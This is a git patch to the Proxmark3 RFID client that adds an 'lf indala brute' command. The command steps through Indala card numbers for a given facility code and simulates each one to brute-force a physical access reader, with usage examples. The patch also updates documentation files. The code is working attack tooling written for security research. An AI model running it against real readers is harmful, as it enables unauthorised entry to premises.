From 043fed010334e5e757d6947f0b234133efe6201a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 30 Oct 2022 08:54:13 +0100 Subject: [PATCH] added lf indala brute command. Based on lf hid brute, can go up and down in cardnumbers --- CHANGELOG.md | 1 + client/src/cmdlfindala.c | 205 +++++++++++++++++++++++++++++++++++++++ doc/commands.json | 64 +++++++++--- doc/commands.md | 4 +- 4 files changed, 261 insertions(+), 13 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6914e60a9..8a82f766f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac ## [unreleased][unreleased] ## [Radium.4.15864][2022-10-29] + - Added `lf indala brute`- brute forcing of 64b Indala ID (@iceman1001) - Added `hf 14a ndefwrite` - write raw NDEF records to TYPE4A tags (@iceman1001) - Changed ndef output to be more dense. Honors verbose now (@iceman1001) - Fixed `hf mf ndefwrite` - now skips not ndef formatted sectors (@iceman1001) diff --git a/client/src/cmdlfindala.c b/client/src/cmdlfindala.c index 9b174c74a..bd20f15db 100644 --- a/client/src/cmdlfindala.c +++ b/client/src/cmdlfindala.c @@ -37,6 +37,8 @@ #include "cliparser.h" #include "cmdlfem4x05.h" // EM defines #include "parity.h" // parity +#include "util_posix.h" + #define INDALA_ARR_LEN 64 static int CmdHelp(const char *Cmd); @@ -121,6 +123,72 @@ static void decodeHeden2L(uint8_t *bits) { PrintAndLogEx(SUCCESS, " Heden-2L | %u", cardnumber); } +// sending three times. Didn't seem to break the previous sim? +static int sendPing(void) { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + SendCommandNG(CMD_PING, NULL, 0); + clearCommandBuffer(); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_PING, &resp, 1000) == false) { + return PM3_ETIMEOUT; + } + return PM3_SUCCESS; +} + +static int sendTry(uint8_t fc, uint16_t cn, uint32_t delay, bool fmt4041x, bool verbose) { + + // convert to fc / cn to binarray + uint8_t bs[64]; + memset(bs, 0x00, sizeof(bs)); + + // Bitstream generation, format select + int res; + if (fmt4041x) { + res = getIndalaBits4041x(fc, cn, bs); + } else { + res = getIndalaBits(fc, cn, bs); + } + + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Error with tag bitstream generation."); + return res; + } + + if (verbose) { + + uint8_t raw[8]; + raw[0] = bytebits_to_byte(bs, 8); + raw[1] = bytebits_to_byte(bs + 8, 8); + raw[2] = bytebits_to_byte(bs + 16, 8); + raw[3] = bytebits_to_byte(bs + 24, 8); + raw[4] = bytebits_to_byte(bs + 32, 8); + raw[5] = bytebits_to_byte(bs + 40, 8); + raw[6] = bytebits_to_byte(bs + 48, 8); + raw[7] = bytebits_to_byte(bs + 56, 8); + + PrintAndLogEx(INFO, "Trying FC: " _YELLOW_("%u") " CN: " _YELLOW_("%u") " Raw: " _YELLOW_("%s") + , fc + , cn + , sprint_hex_inrow(raw, sizeof(raw)) + ); + } + + // indala PSK, clock 32, carrier 0 + lf_psksim_t *payload = calloc(1, sizeof(lf_psksim_t) + sizeof(bs)); + payload->carrier = 2; + payload->invert = 0; + payload->clock = 32; + memcpy(payload->data, bs, sizeof(bs)); + + clearCommandBuffer(); + SendCommandNG(CMD_LF_PSK_SIMULATE, (uint8_t *)payload, sizeof(lf_psksim_t) + sizeof(bs)); + free(payload); + + msleep(delay); + return sendPing(); +} + + // Indala 26 bit decode // by marshmellow, martinbeier // optional arguments - same as PSKDemod (clock & invert & maxerr) @@ -823,8 +891,145 @@ static int CmdIndalaClone(const char *Cmd) { return res; } +static int CmdIndalaBrute(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf indala brute", + "Enables bruteforce of INDALA readers with specified facility code.\n" + "This is a attack against reader. if cardnumber is given, it starts with it and goes up / down one step\n" + "if cardnumber is not given, it starts with 1 and goes up to 65535", + "lf indala brute --fc 224\n" + "lf indala brute --fc 21 -d 2000\n" + "lf indala brute -v --fc 21 --cn 200 -d 2000\n" + "lf indala brute -v --fc 21 --cn 200 -d 2000 --up\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_lit0("v", "verbose", "verbose output"), + arg_u64_0(NULL, "fc", "", "facility code"), + arg_u64_0(NULL, "cn", "", "card number to start with"), + arg_u64_0("d", "delay", "", "delay betweens attempts in ms. Default 1000ms"), + arg_lit0(NULL, "up", "direction to increment card number. (default is both directions)"), + arg_lit0(NULL, "down", "direction to decrement card number. (default is both directions)"), + arg_lit0(NULL, "4041x", "specify Indala 4041X format"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + bool verbose = arg_get_lit(ctx, 1); + + uint32_t fc = arg_get_u32_def(ctx, 2, 0); + uint32_t cn = arg_get_u32_def(ctx, 3, 0); + + uint32_t delay = arg_get_u32_def(ctx, 4, 1000); + + int direction = 0; + if (arg_get_lit(ctx, 5) && arg_get_lit(ctx, 6)) { + direction = 0; + } else if (arg_get_lit(ctx, 5)) { + direction = 1; + } else if (arg_get_lit(ctx, 6)) { + direction = 2; + } + + bool fmt4041x = arg_get_lit(ctx, 7); + CLIParserFree(ctx); + + if (verbose) { + PrintAndLogEx(INFO, "Wiegand format... " _YELLOW_("%s"), (fmt4041x) ? "4041x" : "Standard"); + PrintAndLogEx(INFO, "Facility code.... " _YELLOW_("%u"), fc); + PrintAndLogEx(INFO, "Card number...... " _YELLOW_("%u"), cn); + PrintAndLogEx(INFO, "Delay............ " _YELLOW_("%d"), delay); + switch (direction) { + case 0: + PrintAndLogEx(INFO, "Direction........ " _YELLOW_("BOTH")); + break; + case 1: + PrintAndLogEx(INFO, "Direction........ " _YELLOW_("UP")); + break; + case 2: + PrintAndLogEx(INFO, "Direction........ " _YELLOW_("DOWN")); + break; + default: + break; + } + } + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Started brute-forcing INDALA Prox reader"); + PrintAndLogEx(INFO, "Press " _GREEN_("") " or pm3-button to abort simulation"); + PrintAndLogEx(NORMAL, ""); + + // main loop + // iceman: could add options for bruteforcing FC as well.. + uint8_t fc_hi = fc; + uint8_t fc_low = fc; + uint16_t cn_hi = cn; + uint16_t cn_low = cn; + + bool exitloop = false; + bool fin_hi, fin_low; + fin_hi = fin_low = false; + do { + + if (g_session.pm3_present == false) { + PrintAndLogEx(WARNING, "Device offline\n"); + return PM3_ENODATA; + } + + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "aborted via keyboard!"); + return sendPing(); + } + + // do one up + if (direction != 2) { + if (cn_hi < 0xFFFF) { + if (sendTry(fc_hi, cn_hi, delay, fmt4041x, verbose) != PM3_SUCCESS) { + return PM3_ESOFT; + } + cn_hi++; + } else { + fin_hi = true; + } + } + + // do one down + if (direction != 1) { + if (cn_low > 0) { + cn_low--; + if (sendTry(fc_low, cn_low, delay, fmt4041x, verbose) != PM3_SUCCESS) { + return PM3_ESOFT; + } + } else { + fin_low = true; + } + } + + switch (direction) { + case 0: + if (fin_hi && fin_low) { + exitloop = true; + } + break; + case 1: + exitloop = fin_hi; + break; + case 2: + exitloop = fin_low; + break; + default: + break; + } + + } while (exitloop == false); + + PrintAndLogEx(INFO, "Brute forcing finished"); + return PM3_SUCCESS; +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"brute", CmdIndalaBrute, IfPm3Lf, "Demodulate an Indala tag (PSK1) from the GraphBuffer"}, {"demod", CmdIndalaDemod, AlwaysAvailable, "Demodulate an Indala tag (PSK1) from the GraphBuffer"}, {"altdemod", CmdIndalaDemodAlt, AlwaysAvailable, "Alternative method to demodulate samples for Indala 64 bit UID (option '224' for 224 bit)"}, {"reader", CmdIndalaReader, IfPm3Lf, "Read an Indala tag from the antenna"}, diff --git a/doc/commands.json b/doc/commands.json index 118f6332b..76c8aa781 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -2272,11 +2272,11 @@ "options": [], "usage": "" }, - "hf epa preplay": { - "command": "hf epa preplay", + "hf epa replay": { + "command": "hf epa replay", "description": "Perform PACE protocol by replaying given APDUs", "notes": [ - "hf epa preplay --mse 0022C1A4 --get 1068000000 --map 1086000002 --pka 1234ABCDEF --ma 1A2B3C4D" + "hf epa replay --mse 0022C1A4 --get 1068000000 --map 1086000002 --pka 1234ABCDEF --ma 1A2B3C4D" ], "offline": false, "options": [ @@ -2287,7 +2287,23 @@ "--pka pka APDU", "--ma ma APDU" ], - "usage": "hf epa preplay [-h] --mse --get --map --pka --ma " + "usage": "hf epa replay [-h] --mse --get --map --pka --ma " + }, + "hf epa sim": { + "command": "hf epa sim", + "description": "Simulate PACE protocol with given password pwd of type pty. The crypto is performed on pc or proxmark", + "notes": [ + "hf epa sim --pwd 112233445566", + "hf epa sim --pc --pty 1 --pwd 112233445566" + ], + "offline": false, + "options": [ + "-h, --help This help", + "--pc perform crypto on PC", + "--pty type of password", + "-p, --pwd password" + ], + "usage": "hf epa sim [-h] --pc --pty -p " }, "hf felica auth1": { "command": "hf felica auth1", @@ -2961,15 +2977,16 @@ "command": "hf iclass eload", "description": "Load emulator memory with data from (bin/eml/json) iCLASS dump file", "notes": [ - "hf iclass eload -f hf-iclass-AA162D30F8FF12F1-dump.bin", - "hf iclass eload -f hf-iclass-AA162D30F8FF12F1-dump.eml" + "hf iclass eload -f hf-iclass-AA162D30F8FF12F1-dump.eml", + "hf iclass eload -f hf-iclass-AA162D30F8FF12F1-dump.bin -m" ], "offline": false, "options": [ "-h, --help This help", - "-f, --file filename of dump (bin/eml/json)" + "-f, --file filename of dump (bin/eml/json)", + "-m, --mem use RDV4 spiffs" ], - "usage": "hf iclass eload [-h] -f " + "usage": "hf iclass eload [-hm] -f " }, "hf iclass encode": { "command": "hf iclass encode", @@ -4080,7 +4097,7 @@ }, "hf mf ecfill": { "command": "hf mf ecfill", - "description": "Dump card and transfer the data to emulator memory. Keys must be laid in the emulator memory", + "description": "Dump card and transfer the data to emulator memory. Keys must be in the emulator memory", "notes": [ "hf mf ecfill -> use key type A", "hf mf ecfill --4k -b -> target 4K card with key type B" @@ -4172,9 +4189,10 @@ "--2k MIFARE Classic/Plus 2k", "--4k MIFARE Classic 4k / S70", "--ul MIFARE Ultralight family", + "-m, --mem use RDV4 spiffs", "-q, --qty manually set number of blocks (overrides)" ], - "usage": "hf mf eload [-h] -f [--mini] [--1k] [--2k] [--4k] [--ul] [-q ]" + "usage": "hf mf eload [-hm] -f [--mini] [--1k] [--2k] [--4k] [--ul] [-q ]" }, "hf mf esave": { "command": "hf mf esave", @@ -8609,6 +8627,28 @@ ], "usage": "lf indala altdemod [-hl]" }, + "lf indala brute": { + "command": "lf indala brute", + "description": "Enables bruteforce of INDALA readers with specified facility code. This is a attack against reader. if cardnumber is given, it starts with it and goes up / down one step if cardnumber is not given, it starts with 1 and goes up to 65535", + "notes": [ + "lf indala brute --fc 224", + "lf indala brute --fc 21 -d 2000", + "lf indala brute -v --fc 21 --cn 200 -d 2000", + "lf indala brute -v --fc 21 --cn 200 -d 2000 --up" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-v, --verbose verbose output", + "--fc facility code", + "--cn card number to start with", + "-d, --delay delay betweens attempts in ms. Default 1000ms", + "--up direction to increment card number. (default is both directions)", + "--down direction to decrement card number. (default is both directions)", + "--4041x specify Indala 4041X format" + ], + "usage": "lf indala brute [-hv] [--fc ] [--cn ] [-d ] [--up] [--down] [--4041x]" + }, "lf indala clone": { "command": "lf indala clone", "description": "clone Indala UID to T55x7 or Q5/T5555 tag using different known formats", @@ -11492,8 +11532,8 @@ } }, "metadata": { - "commands_extracted": 726, + "commands_extracted": 728, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2022-10-24T16:51:32" + "extracted_on": "2022-10-29T22:52:55" } } \ No newline at end of file diff --git a/doc/commands.md b/doc/commands.md index a87a201df..a19a97a13 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -275,7 +275,8 @@ Check column "offline" for their availability. |------- |------- |----------- |`hf epa help `|Y |`This help` |`hf epa cnonces `|N |`Acquire encrypted PACE nonces of specific size` -|`hf epa preplay `|N |`Perform PACE protocol by replaying given APDUs` +|`hf epa replay `|N |`Perform PACE protocol by replaying given APDUs` +|`hf epa sim `|N |`Simulate PACE protocol` ### hf emrtd @@ -970,6 +971,7 @@ Check column "offline" for their availability. |command |offline |description |------- |------- |----------- |`lf indala help `|Y |`This help` +|`lf indala brute `|N |`Demodulate an Indala tag (PSK1) from the GraphBuffer` |`lf indala demod `|Y |`Demodulate an Indala tag (PSK1) from the GraphBuffer` |`lf indala altdemod `|Y |`Alternative method to demodulate samples for Indala 64 bit UID (option '224' for 224 bit)` |`lf indala reader `|N |`Read an Indala tag from the antenna`